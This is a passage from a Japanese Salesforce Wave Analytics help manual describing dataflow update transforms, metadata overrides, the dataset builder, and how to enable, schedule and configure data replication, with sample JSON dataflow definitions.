"action": "sfdcRegister",
"parameters": {

"alias": "Accounts",
"name": "Accounts",
"source": "Update_AccountRecords"

}
}

}

update パラメータ
update 変換を定義する場合は、アクション属性を update に設定してパラメータを指定します。
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update パラメータ
update 変換を定義する場合は、アクション属性を update に設定してパラメータを指定します。
次の表では、入力パラメータについて説明します。

値必須項目パラメータ

更新するレコードを含むデータセッ
トを識別する、データフロー定義
ファイル内のノード。

はいleft

新しい値を含む参照データセット
を識別する、データフロー定義ファ
イル内のノード。

はいright

他のデータセット内のレコードと
照合するために使用する左のデー

はいleft_key

タセットのキー列。複合キーを使
用する場合、左と右のキーには、
同じ数の列が同じ順序で含まれて
いる必要があります。「update 変
換」 (ページ4488)の例を参照してく
ださい。

他のデータセット内のレコードと
照合するために使用する右のデー

はいright_key

タセットのキー列。複合キーを使
用する場合、左と右のキーには、
同じ数の列が同じ順序で含まれて
いる必要があります。

左と右のデータセット間の対応す
る列の配列。"update_columns":

いいえupdate_columns

{ "LeftColumn1":
"RightColumn1",
"LeftColumn2":
"RightColumn2",...
"LeftColumnN":

"RightColumnN" } 構文を使用し
ます。右の列の値によって、対応
する左の列の値が置き換えられま
す。左と右の列のデータ型は一致
する必要があります。

メモ: 存在しない列名を指定
すると、データフローは失敗
します。
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値必須項目パラメータ

このパラメータを指定しない場合
は、右のデータセットのすべての
列が左のデータセットのすべての
列と一致するように、変換によっ
て左のデータセットが更新されま
す。
この場合、右の列名は左の列名に
完全に一致する必要があります。
一致しない場合は、エラーが発生
する可能性があります。

関連トピック:

update 変換

変換で生成されるメタデータの上書き

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

必要に応じて、変換で生成されるメタデータを上書きできます。オブジェクト
および項目属性を上書きできます。たとえば、Salesforce オブジェクトから抽出
された項目名を変更して、データセットには異なって表示されるようにするこ
とができます。メタデータを上書きするには、データフロー定義ファイルの変
換のスキーマセクションに上書きする内容を追加します。
スキーマセクションでは、1 つのオブジェクトのメタデータ属性のみを上書きで
きます。
次のサンプル sfdcDigest 変換のスキーマセクションには、メタデータの上書きが
含まれています。

"Extract_Opportunities": {
"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Name" },
{ "name": "Amount" }

]
},
"schema": {

"objects": [
{

"label":"Sales Opportunities",
"fields": [

{
"name": "Amount",
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"label": "Opportunity Amount"
}

]
}

]
}

}

オブジェクト属性
次のオブジェクト属性を上書きできます。

説明型オブジェクト属性

オブジェクトの表示名。40 文字まで入力できます。Stringlabel

例:

"label": "Sales Data"

オブジェクトの説明。1,000 文字未満である必要があります。Stringdescription

データフロー定義ファイルでオブジェクトにアノテーションを
付加するための説明を追加します。この説明は、Wave Analytics

ユーザインターフェースではユーザに表示されません。
例:

"description": "The SalesData object tracks basic
sales data."

このオブジェクトの項目の配列。Arrayfields

項目属性
指定された各データセット項目の属性を上書きできます。

説明型項目属性

データセットの項目の名前。上書きする項目を示します。
例:

Stringname

"name": "Amount"

"name": "Role.Name"

項目の表示名。255 文字まで入力できます。Stringlabel

例:

"label": "Opportunity Amount"
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説明型項目属性

項目の説明。1,000 文字未満である必要があります。Stringdescription

データフロー定義ファイルで項目にアノテーションを付加するための説明を追
加します。この説明は、Wave Analytics ユーザインターフェースではユーザに表
示されません。
例:

"description": "The Amount field contains the opportunity
amount."

この項目がシステム項目でクエリ結果から除外する必要があるかどうかを示し
ます。

BooleanisSystemField

例:

"isSystemField": false

数値の表示形式。
例:

Stringformat

"format": "$#,##0.00" (Numeric)

有効な形式についての詳細は、「数値形式」を参照してください。

数値形式
たとえば、典型的な数値として、$1,000,000.99 は $#,##0.00 として表されます。数値の精度と桁数を指定する必要
があります。形式は、次の記号を使用して指定します。

意味記号

1 桁0

0 または 1 桁#

この記号はデフォルトの小数点です。小数点を別の記号に設定するには、
decimalSeparator 項目を使用します。

.

マイナス記号-

桁区切り文字,

通貨記号$

メモ: 数値の形式はデータ取得には使用されません。UI で表示されるときの数値の形式を指定するために
のみ使用されます。また、日付形式を上書きすることはできません。
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例: sfdcDigest変換で Opportunity オブジェクトから抽出した次のオブジェクト属性と項目属性を上書きする
例を考えてみましょう。

属性の変更オブジェクト/項目

Opportunity オブジェクト • オブジェクトの表示ラベルを「Sales Opportunities」
(営業商談) に変更

• オブジェクトの説明を追加

ID 項目 • 項目の表示ラベルを「Opportunity Id」(商談 ID) に
変更

• クエリで項目を非表示

Amount 項目 • 項目の表示ラベルを「Opportunity Amount」(商談
金額) に変更

• 形式を $#,##0.00 に変更

CloseDate 項目 • 項目の表示ラベルを「Closing Date」(完了日) に変
更

属性を上書きするには、データフロー定義ファイル内の sfdcDigest に上書き値を含むスキーマセクション
を追加します。
{
"Extract_Opportunities": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
},
"schema": {

"objects": [
{

"label":"Sales Opportunities",
"description": "These are all sales opportunities.",
"fields": [

{
"name": "Id",
"label": "Opportunity Id",
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"isSystemField": true
},
{

"name": "Amount",
"label": "Opportunity Amount",
"format": "$#,##0.00"

},
{

"name": "CloseDate",
"label": "Closing Date"

}
]

}
]

}
},
"Register_Dataset_Opportunities": {
"action": "sfdcRegister",
"parameters": {

"source": "Extract_Opportunities",
"alias": "Opportunities",
"name": "Opportunities"
}

}
}

データセットビルダーを使用したデータセットの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

データセットビルダーに
アクセスする
• 「Wave Analytics デー

タフローの編集」

データセットビルダーを使用して、1 つ以上の Salesforce オブジェクトのデータに
基づく単一のデータセットを作成できます。データセットビルダーによって、
関連する JSON が生成され、データフロー定義ファイルに追加されます。データ
フローが次回実行されるときに、データセットが作成されます。データセット
のデータは、データフローの実行時に毎回更新されます。データフロー定義ファ
イルを編集して、データセットを操作する変換を追加することもできます。
1. ホームページまたはアプリケーションページで、[作成] > [データセット] を

クリックします。
2. [Salesforce] をクリックします。

[データセットビルダー] タブにデータセットビルダーが開きます。
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3. ルートオブジェクトを選択します。
ルートオブジェクトとは、キャンバスに追加可能な最下位レベルの子オブジェクトです。ルートオブジェ
クトを選択したら、ルートオブジェクトの親オブジェクトのみを追加できます。その子オブジェクトは追
加できません。ルートオブジェクトを変更するには、ページを更新してやり直します。

4. ルートオブジェクトにマウスポインタを置いて、 をクリックします。
[項目の選択] ダイアログボックスが表示されます。デフォルトでは、[項目] タブが表示され、データの抽出
元になるオブジェクト項目で使用可能なものがすべて表示されます。

4497

データインテグレーション分析



メモ: キャンバスに含まれるどのオブジェクトでも、このダイアログボックスを表示できます。

5. [項目] タブで、データを抽出する項目を選択します。
項目をすばやく見つけるには、その項目を検索するか、名前または種別ごとに並び替えます。

重要: キャンバスに追加するオブジェクトごとに少なくとも 1 つの項目を選択する必要があります。
追加したオブジェクトに項目を 1 つも追加しなければ、データフローの実行時に失敗します。

6. [リレーション] タブで、[参加] をクリックして関連オブジェクトをキャンバスに追加します。
追加した関連オブジェクトがキャンバスに表示されます。

7. 関連オブジェクトを削除するには、[削除] をクリックします。

警告: 関連オブジェクトを削除すると、ダイアグラムでその関連オブジェクトの後に続くオブジェク
トもすべて削除されます。たとえば、下図の [取引先] を削除すると、[取引先] と [ユーザ] からなるブ
ランチが削除されます。
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8. 関連オブジェクトごとに、データの抽出元となる項目を選択します。
9. ダイアグラム全体を移動するには、キャンバスの空白部分を選択してドラッグします。

ダイアグラムの他のセクションを表示するために、ダイアグラムを移動する必要が生じる場合があります。
10. キャンバスに含まれるすべてのオブジェクトを表示するには、 をクリックします。

[選択されたオブジェクト] ダイアログボックスに、キャンバスに含まれるすべてのオブジェクトのツリー
構造が表示されます。ツリーの最上位にルートオブジェクトが表示されます。

オブジェクトの 1 つを選択すると、データセットビルダーによってそのオブジェクトがキャンバスの中央
に配置され、見やすくなります。

11. 関連付けられた JSON を表示するには、 をクリックします。
データセットを作成する場合は、データセットビルダーによって JSON がデータフロー定義ファイルに追加
されます。

12. [データセットを作成] をクリックします。
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13. データセットの名前を入力し、データセットを含めるアプリケーションがまだ選択されていなければ選択
します。

メモ: データセットの作成時にすでに使用されているデータセット名を入力すると、データセットビ
ルダーによってデータセット名に数字が追加されます。たとえば、MyOpportunities と入力すると、デー
タセットビルダーによって MyOpportunities1 が作成されます。データセット名は、80 文字以下にする必
要があります。

14. [作成] をクリックします。
データセットビルダーによって、基盤となる JSON がデータフロー定義ファイルに追加されます。データフ
ローが次回実行されるときに、データセットが作成されます。データフローを手動で実行すると、データ
セットをすぐに作成できます。

複製を使用したデータフローの最適化
複製により、データフローから Salesforce データの抽出を切り離し、別のスケジュールで抽出を実行できるよう
にします。これらの抽出を事前にスケジュールすることで、データフローの負荷が減り、高速に実行できるよ
うになります。負荷をさらに軽くするため、複製では Salesforce データの増分が抽出されます。これにより、変
更されたデータのみが抽出されます。
複製が有効になっていない場合、データフローは Salesforce オブジェクトのデータが必要になるたびに、個別の
抽出を実行します。例を見てみましょう。組織に 3 つのデータフローがあり、次のように Salesforce オブジェク
トからデータを抽出しているとします。

ユーザケースリードキャンペー
ン

商談取引先責任
者

取引先

デフォルト
のデータフ
ロー

Sales Wave ア
プリケー
ションの
データフ
ロー
Service Wave

アプリケー
ションの
データフ
ロー

これらのデータフローを実行するたびに、このすべての Salesforce データを抽出する必要があります。データ量
が多いほど、データフローの実行に要する時間は長くなります。さらに、データフローでは、同じオブジェク
トに対して個別に抽出を実行するため、作業が重複します。たとえば、取引先データは 3 つすべてのデータフ
ローによって抽出されます。
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複製を使用することで、これらのすべての抽出が別個のプロセスとして実行され、データフロー実行の前に抽
出を実行するようにスケジュールすることができます。

ユーザケースリードキャンペー
ン

商談取引先責任
者

取引先

複製

この複製されたデータはすべてのデータフローによって使用可能で、データフローはデータを抽出する必要が
なく、読み込んで変換するだけなので、より高速に時実行できるようになります。

複製を有効にする場合の影響について
複製を有効にすると、Wave では既存のスケジュール済みデータフローの sfdcDigest ノードが参照され、現在
抽出を行っている Salesforce オブジェクトと項目が識別されます。この情報を使用して、Wave でオブジェク
トごとに複製が有効になり、個別にデータが抽出されます。複製を有効にするときに何が行われるかを正
確に理解することは、複製の実行を成功させるために必要な追加作業を特定するのに役立ちます。
複製の有効化
複製を有効にすると、データフローから Salesforce データの抽出を切り離すことができます。
複製のスケジュール、実行、および監視
複製をスケジュールして自動的に実行することも、手動で実行することも、進行状況を監視することもす
べてデータマネージャで行えます。
複製でのデータの増分の抽出
デフォルトでは、複製では各 Salesforce オブジェクトからデータの増分が抽出されます。前回実行された複
製以降のオブジェクト内の変更に適合するように、レコードが挿入、更新、削除されます。変更分のみが
抽出されるため、複製は高速に実行されます。
複製の設定
Salesforce オブジェクトが複製に対して有効になると、複製の設定によって、複製しない項目を無効にした
り、特定のデータのみを複製するための検索条件を追加したり、オブジェクトに対して複製を無効にした
りできます。これらはすべてデータマネージャで行います。
オブジェクトに対する複製の無効化
データマネージャでオブジェクトに対して複製を無効にして、複製から除外します。
複製へのオブジェクトと項目の追加
データマネージャでは複製にオブジェクトや項目を追加できません。オブジェクトを追加するには、デー
タフローのいずれかにオブジェクトの sfdcDigest ノードを追加します。オブジェクトの項目を追加するに
は、データフローのいずれかのオブジェクトの既存の sfdcDigest ノードに追加します。更新されたデータフ
ロー定義ファイルをアップロードすると、新しいオブジェクトまたは項目が自動的に複製に追加されます。
複製を有効にしてデータフローを作成または更新するときの考慮事項
複製を有効にしている場合、データフローのいずれかを次回作成または更新するときに次のことに留意し
てください。
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複製でウィザードベースの Wave アプリケーションを使用するときの考慮事項
ウィザードベースの Wave Analytics アプリケーション (Sales Wave や Service Wave など) を使用する場合、複製を
有効にする前後で注意すべき事項がいくつかあります。
複製の制限事項
複製を使用するときには、次の点に注意してください。

複製を有効にする場合の影響について
複製を有効にすると、Wave では既存のスケジュール済みデータフローの sfdcDigest ノードが参照され、現在抽
出を行っている Salesforce オブジェクトと項目が識別されます。この情報を使用して、Wave でオブジェクトご
とに複製が有効になり、個別にデータが抽出されます。複製を有効にするときに何が行われるかを正確に理解
することは、複製の実行を成功させるために必要な追加作業を特定するのに役立ちます。
実行される処理と推奨される作業を次に示します。

既存のデータフローが検証される
複製は既存のデータフローに基づいているため、Wave ではエラーがないことを確認するためにスケジュール
されたデータフローが検証されます。エラーがあるデータフローは複製の対象になりませんが、複製を有効に
すると sfdcDigest ノードのすべてのエラーについてアラートが表示されます。
推奨される作業

複製を有効にする前に、スケジュールされたデータフローにエラーがないか確認します。特に sfdcDigest

ノード内に正しくないオブジェクト名または項目名がないかに注意します。複製を有効にしたときにエラー
が表示された場合は、続行する前にデータフローでそれらを修正します。データフローでエラーを修正す
ると、データフロー定義ファイルのアップロード時に複製の修正が自動的に Wave で考慮されます。

重要: 複製を有効にする場合、スケジュールされていないデータフローは Wave で考慮されません。考慮
される必要のあるデータフローがスケジュールされていることを確認してください。「データフローの
再スケジュールとスケジュール解除」を参照してください。

データフローがデータフロー作成日順に処理される
Wave では、データフロー内の sfdcDigest ノードは作成順に処理されます。データフロー内で同じオブジェクト
に対して複数の sfdcDigest ノードがある場合にはマージされます。オブジェクトレベルのパラメータで競合が
ある場合には、最後に作成されたデータフローの値が複製で使用されます。次のデータフロー例について考え
ます。各データフローには Opportunity オブジェクトに対する sfdcDigest ノードが含まれています。

データフロー B (2016 年 8 月 15 日作成)データフロー A (2016 年 8 月 1 日作成)

{
"Extract_OpportunitiesB": {

{
"Extract_OpportunitiesA": {

"action": "sfdcDigest","action": "sfdcDigest",
"parameters": {"parameters": {

"object": "Opportunity","object": "Opportunity",
"incremental": true,"incremental": false,
"fields": ["fields": [

{ "name": "Id" },{ "name": "Id" },
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データフロー B (2016 年 8 月 15 日作成)データフロー A (2016 年 8 月 1 日作成)

{ "name": "Name" },
{ "name": "StageName" },

{ "name": "Name" },
{ "name": "StageName" },

{ "name": "CloseDate" }, { "name": "CloseDate" },
{ "name": "AccountId" }, { "name": "AccountId" },
{ "name": "OwnerId" } { "name": "OwnerId" }

] ]
}

}
}

}

結果として得られるこのオブジェクトの複製では、incremental パラメータは、より最近に作成されたデー
タセットの値である true に設定されます。これは、fullRefreshToken や enablePKChunking などの他
のオブジェクトレベルの属性にも適用されます。
推奨される作業

データフローのオブジェクトレベルのパラメータが、同じオブジェクトに対するすべての sfdcDigest ノード
で統一されていることを確認します。

オブジェクトに対する複数の sfdcDigest ノードのすべての項目が複製に含められる
データフロー内で同じオブジェクトに対して異なる項目セットを持つ複数の sfdcDigest ノードがある場合、こ
れらのすべての項目のスーパーセットが複製に含められます。さらに、同じ項目に異なる属性 (type または
isMultivalueなど) がある場合、最後に作成されたデータフローの属性が複製に使用されます。次のデータ
フロー例について考えます。各データフローには Opportunity オブジェクトに対する sfdcDigest ノードが含まれて
います。

データフロー B (2016 年 8 月 15 日作成)データフロー A (2016 年 8 月 1 日作成)

{
"Extract_OpportunitiesA": {

{
"Extract_OpportunitiesA": {

"action": "sfdcDigest","action": "sfdcDigest",
"parameters": {"parameters": {

"object": "Opportunity","object": "Opportunity",
"fields": ["fields": [

{ "name": "Id"},{ "name": "Id"},
{ "name": "Name" },{ "name": "Name" },
{ "name": "StageName" },{ "name": "StageName" },
{ "name": "CloseDate",{ "name": "CloseDate",

"fiscalMonthOffset": 3 }"fiscalMonthOffset": 9 },
]{ "name": "AccountId" },

}
}

{ "name": "OwnerId" }
]

}
}
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結果として得られるこのオブジェクトに対する複製には、Id、Name、StageName、CloseDate、AccountId、および
OwnerId が含まれます。CloseDate の fiscalMonthOffset 属性は、最後に作成されたデータフローの値である
3 に設定されます。
推奨される作業

データフローの sfdcDigest ノード内の項目を確認します。結果として得られる複製に不要な項目が含まれて
いる場合は、そのオブジェクトの複製設定でそれらを無効にできます (「複製の設定」を参照)。項目の属
性が競合している場合、複製に使用する属性が、最後に作成されたデータフローに含まれていることを確
認します。

sfdcDigest ノードの詳細な検索条件が複製に含まれる
詳細な検索条件を適用する complexFilterConditionsパラメータが sfdcDigest ノードに含まれている場合、
Wave によってこの検索条件がそのオブジェクトの複製設定に追加されます。同じオブジェクトに複雑な検索
条件がある sfdcDigest ノードが複数ある場合、最後に作成または更新されたデータフローの検索条件のみが複
製設定に追加されます。filterConditionsパラメータで適用される構造化された検索条件は Wave で無視さ
れます。
推奨される作業

複製を有効にしたら、各オブジェクトの複製設定をチェックして、検索条件が正しく適用されていること
を確認します (「複製の設定」を参照)。オブジェクトに複数の検索条件を使用する場合、複製設定から検
索条件を削除し、filter 変換を使用して対応するデータフローに検索条件を追加することをお勧めします
(「filter 変換」を参照)。

メモ: 複製パイロットプログラムに参加していて、複製データフローに sfdcDigest ノードの検索条件がある
場合でも、これらの検索条件は複製に追加されません。これらの検索条件は、オブジェクトの複製設定
を使用して手動で追加します。「複製の設定」を参照してください。

関連トピック:

データフローの設定
sfdcDigest 変換
Salesforce オブジェクトから抽出されるレコードの絞り込み
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複製の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

複製を有効にする
• 「アプリケーションの

カスタマイズ」

複製を有効にすると、データフローから Salesforce データの抽出を切り離すこと
ができます。

重要: 複製を有効にする前に「複製を有効にする場合の影響について」を
参照することをお勧めします。そうすることで、複製の実行を成功させる
ために必要な追加作業を特定できます。

複製を有効にするには、次の手順を実行します。
1. [設定] から、[クイック検索] ボックスに「Wave Analytics」と入力し、[設

定] を選択します。
2. [複製を有効化] を選択し、[保存] をクリックします。

重要: 複製を有効にした後、データフローの次回の実行より前に必ず複製
を実行してください。sfdcDigest ノードを含むデータフローは、複製が最初
に実行されて完了するまでは失敗します。「複製のスケジュール、実行、
および監視」を参照してください。

複製のスケジュール、実行、および監視
複製をスケジュールして自動的に実行することも、手動で実行することも、進
行状況を監視することもすべてデータマネージャで行えます。

重要: 複製を有効にした後、データフローの次回の実行より前に必ず複製を実行し、完了したことを確認
してください。sfdcDigest ノードを含むデータフローは、複製が最初に実行されるまでは失敗します。

複製のスケジュール
複製を自動的に実行するようにスケジュールします。
複製の実行
データマネージャでいつでも手動で複製を実行できます。
複製の監視
データマネージャで複製の進行状況を監視します。
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複製のスケジュール

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

複製をスケジュールする
• 「Wave Analytics デー

タフローの編集」

複製を自動的に実行するようにスケジュールします。
複製をスケジュールする場合、有効になっているすべてのオブジェクトに対し
て同時に実行するようにスケジュールします。オブジェクトごとに個別の複製
をスケジュールすることはできません。

メモ: 複製の実行は、1 日あたり 24 回のデータフロー実行の制限にカウン
トされます。たとえば、Sales Wave アプリケーション、Service Wave アプリ
ケーション、ユーザデータフロー、および複製を使用している組織には 4

つの個別のデータフローがあります。それぞれのデータフローを 6 時間ご
とに実行するようにスケジュールすると、1 日の制限に達します。複製を
スケジュールするときはこの制限を考慮してください。

複製をスケジュールにするには、次の手順を実行します。
1.

Wave Analytics で、ギアアイコン ( ) をクリックし、[データマネージャ] を
選択してデータマネージャを開きます。

2. データマネージャで、[取り込む] タブをクリックします。
[取り込む] タブに、複製に対して有効になっている Salesforce オブジェクトの
リストが表示されます。

3. [複製スケジュールを編集] をクリックします。
スケジュールダイアログが表示されます。

4. 頻度を入力し、[保存] をクリックします。
5. [完了] をクリックします。

複製の実行

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

複製を実行する
• 「Wave Analytics デー

タフローの編集」

データマネージャでいつでも手動で複製を実行できます。

メモ: 手動で複製を実行すると、1 日あたり 24 回のデータフロー実行の制
限にカウントされることに留意してください。

複製を実行するには、次の手順を実行します。
1.

Wave Analytics で、ギアアイコン ( ) をクリックし、[データマネージャ] を
選択してデータマネージャを開きます。

2. データマネージャで、[取り込む] タブをクリックします。
[取り込む] タブに、複製に対して有効になっている Salesforce オブジェクトの
リストが表示されます。

3. [複製を今すぐ実行] をクリックします。
データマネージャの [監視] ページが開き、各オブジェクトの複製が別個の
ジョブとして表示されます。
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複製の監視

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

複製を監視する
• 「Wave Analytics デー

タフローの編集」

データマネージャで複製の進行状況を監視します。
複製を監視するには、次の手順を実行します。
1.

Wave Analytics で、ギアアイコン ( ) をクリックし、[データマネージャ] を
選択してデータマネージャを開きます。

2. データマネージャで、[監視] をクリックします。
[監視] の [ジョブビュー] には、複製ジョブに関する情報が表示されます。

複製でのデータの増分の抽出
デフォルトでは、複製では各 Salesforce オブジェクトからデータの増分が抽出さ
れます。前回実行された複製以降のオブジェクト内の変更に適合するように、
レコードが挿入、更新、削除されます。変更分のみが抽出されるため、複製は
高速に実行されます。

メモ: オブジェクトに対して初めて複製が実行されたときには、フル抽出
が実行されます。

複製するオブジェクトの増分モードを無効にするには、incrementalパラメー
タをデータフロー内のオブジェクトの sfdcDigest ノードに追加し、その値を false

に設定します。次に例を示します。
{

"Extract_Opportunities": {
"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"incremental": false,
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
}

}

複製するオブジェクトのフル抽出を強制的に実行するには、fullRefreshToken パラメータをオブジェクト
の sfdcDigest ノードに追加し、ランダムな値を設定します。次に例を示します。
{

"Extract_Opportunities": {
"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fullRefreshToken": "bb",
"fields": [

{ "name": "Id" },

4507

データインテグレーション分析



{ "name": "Name" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
}

}

次にこのオブジェクトのフル抽出の強制が必要になったときには、fullRefreshToken パラメータ内の値を
変更します。

複製で増分抽出を使用するときの考慮事項
• 増分モードが sfdcDigest ノードで明示的に無効になっていて、同じオブジェクトに対するその後のノードで

明示的に有効になっていない場合、複製を有効にしたときに増分モードは有効になりません。データフロー
内の incremental パラメータを true に設定することによって手動で有効にする必要があります。

• 複製を有効にするときに、レコードで物理削除を実行する Salesforce オブジェクトに対して増分モードは有
効になりません。ただし、データフローで明示的に有効になっている場合はこの限りではありません。

• 複製を実行する 1 時間前以内に行われた変更は対象になりません。頻繁に更新されるレコードがある場合
には、この点に注意してください。

• すべての変更が反映されるように、fullRefreshTokenパラメータを使用して定期的にフル更新を強制実
行することをお勧めします。

• 増分モードでは、数式項目が複製されたオブジェクトと同期しなくなる場合があります。数式項目を含む
オブジェクトの増分抽出は無効にすることをお勧めします。

• sfdcDigest データフローノードで項目に変更を加えると (項目の追加や削除、属性の変更など)、Wave では、
次回の複製実行時にデータの完全抽出がトリガされます。

関連トピック:

データフローの設定
sfdcDigest 変換
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複製の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

複製を設定する
• 「Wave Analytics デー

タフローの編集」

Salesforce オブジェクトが複製に対して有効になると、複製の設定によって、複
製しない項目を無効にしたり、特定のデータのみを複製するための検索条件を
追加したり、オブジェクトに対して複製を無効にしたりできます。これらはす
べてデータマネージャで行います。
複製を設定するには、次の手順を実行します。
1.

Wave Analytics で、ギアアイコン ( ) をクリックし、[データマネージャ] を
選択してデータマネージャを開きます。

2. データマネージャで、[取り込む] タブをクリックします。
[取り込む] タブに、複製に対して有効になっている Salesforce オブジェクトの
リストが表示されます。

3. オブジェクトをクリックして、オブジェクトの複製設定を開きます。
複製されるデータのプレビューが表示されます。

4. 項目の複製を無効にするには、項目の列ヘッダーにマウスポインタを置き、
表示される×をクリックします。

メモ: データフロー内で使用されている項目の複製やオブジェクトの ID 項目の複製を無効にすること
はできません。

5.

複製するデータを絞り込むには、 をクリックします。
a. 検索条件は、Salesforce Object Query Language (SOQL) の WHERE 句式を使用して定義します。次に例を示しま

す。
RecordType = 'B2B' AND Status = 'Open'

b. [完了] をクリックします。

メモ: プレビューデータには追加した検索条件が反映されません。検索条件は、複製設定を保存し
たときにのみ適用されます。

6. [保存] をクリックして複製設定を保存します。

メモ: 項目に対して複製を無効にすると、複製設定によって再び有効にすることはできません。データフ
ロー内で、sfdcDigest ノードに項目を追加することによって、再び有効にできます。「複製へのオブジェ
クトと項目の追加」を参照してください。
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オブジェクトに対する複製の無効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

オブジェクトに対して複
製を無効にする
• 「Wave Analytics デー

タフローの編集」

データマネージャでオブジェクトに対して複製を無効にして、複製から除外し
ます。

メモ: データフロー内で使用されているオブジェクトに対して複製を無効
にすることはできません。

オブジェクトに対して複製を無効にするには、次の手順を実行します。
1.

Wave Analytics で、ギアアイコン ( ) をクリックし、[データマネージャ] を
選択してデータマネージャを開きます。

2. データマネージャで、[取り込む] タブをクリックします。
[取り込む] タブに、複製に対して有効になっている Salesforce オブジェクトの
リストが表示されます。

3. オブジェクトの右側にある [アクション] ボタン ( ) をクリックし、[複製を
無効化] を選択します。
警告メッセージが表示されます。

4. 警告メッセージをよく読んでから、[無効化] をクリックします。

メモ: オブジェクトに対して複製を無効にすると、データマネージャで再
び有効にすることはできません。データフローにオブジェクトの sfdcDigest

ノードを追加することによって、再び有効にできます。「複製へのオブジェ
クトと項目の追加」を参照してください。

複製へのオブジェクトと項目の追加
データマネージャでは複製にオブジェクトや項目を追加できません。オブジェクトを追加するには、データフ
ローのいずれかにオブジェクトの sfdcDigest ノードを追加します。オブジェクトの項目を追加するには、デー
タフローのいずれかのオブジェクトの既存の sfdcDigest ノードに追加します。更新されたデータフロー定義ファ
イルをアップロードすると、新しいオブジェクトまたは項目が自動的に複製に追加されます。

関連トピック:

データフローの設定
sfdcDigest 変換

複製を有効にしてデータフローを作成または更新するときの考慮事項
複製を有効にしている場合、データフローのいずれかを次回作成または更新するときに次のことに留意してく
ださい。
• データフロー定義はアップロード時に検証されます。エラーが表示された場合は、修正してからファイル

をもう一度アップロードしてください。
• データフロー定義ファイルのアップロードには時間がかかることがあります。これは、Wave でファイルの

検証が行われ、sfdcDigest ノードを使用して複製設定が定義されるためです。
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• オブジェクトの sfdcDigest ノードを定義ファイルから削除しても、そのオブジェクトの複製は無効になりま
せん。必要に応じて、データマネージャの [複製] タブでオブジェクトの複製を無効にします。「オブジェ
クトに対する複製の無効化」を参照してください。

• 定義ファイルの sfdcDigest ノードから項目を削除しても、その項目の複製は無効になりません。必要に応じ
て、複製設定で項目の複製を無効にします。「複製の設定」を参照してください。

• 定義ファイルに項目を追加しても、その項目は複製設定内で有効になりません。
• データフローのスケジュールを解除しても、オブジェクトと項目の複製は無効になりません。

複製でウィザードベースの Wave アプリケーションを使用するときの考慮事項
ウィザードベースの Wave Analytics アプリケーション (Sales Wave や Service Wave など) を使用する場合、複製を有
効にする前後で注意すべき事項がいくつかあります。

すでに Wave アプリケーションを使用している場合の複製の有効化
複製を有効にするときにすでに Wave アプリケーションがある場合、これらのアプリケーションで使用される
すべての Salesforce オブジェクトおよび項目が複製に含まれていることが重要です。含まれていない場合、影響
する Wave アプリケーションデータフローが失敗します。必要なすべてのオブジェクトおよび項目が含まれて
いることを確認する手順は、次のとおりです。
1. 複製を有効にする前に、各 Wave アプリケーションデータフローの定期的なスケジュールを設定します。最

初に複製を有効にするとき、スケジュールされたデータフローのオブジェクトおよび項目のみが Wave で考
慮されます。

2. 複製を有効にしたら、複製設定をチェックして、必要なすべてのオブジェクトおよび項目が含まれている
ことを確認します。「複製の設定」を参照してください。

3. 複製を実行して、Wave アプリケーションデータフローのすべてのオブジェクトおよび項目が複製されてい
ることを確認します。

4. Wave アプリケーションデータフローを実行して、実行が完了していることを確認します。
5. すべてのデータフローの前に複製の実行をスケジュールして、Wave アプリケーションデータを最新の状態

に保ちます。

複製を有効にした後の新しいウィザードベースの Wave アプリケーションの作成
ウィザードベースの Wave アプリケーションを作成するときに、新しいデータフローのオブジェクトおよび項
目がまだ複製に含まれていなければ自動的に追加されます。Wave アプリケーションを作成したら、次の手順
を実行します。
1. 複製設定をチェックして、必要なすべてのオブジェクトおよび項目が含まれていることを確認します。「複

製の設定」を参照してください。
2. 複製を実行して、新しいデータフローのすべてのオブジェクトが複製されていることを確認します。
3. 新しい Wave アプリケーションデータフローを実行します。
4. 複製後に新しい Wave アプリケーションデータフローを実行するようにスケジュールします。
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複製の制限事項
複製を使用するときには、次の点に注意してください。
• 複製では最大 40 個のオブジェクトを有効にできます。現在データフローで 40 個を超えるオブジェクトを抽

出している場合は、複製を有効にする前に Salesforce カスタマーサポートにお問い合わせください。
• 複製では、オブジェクトあたり 1 回のみ抽出が実行されます。同じオブジェクトから複数の抽出を実行す

る必要がある場合は、このことに留意してください。たとえば、オブジェクトから絞り込まれたデータと
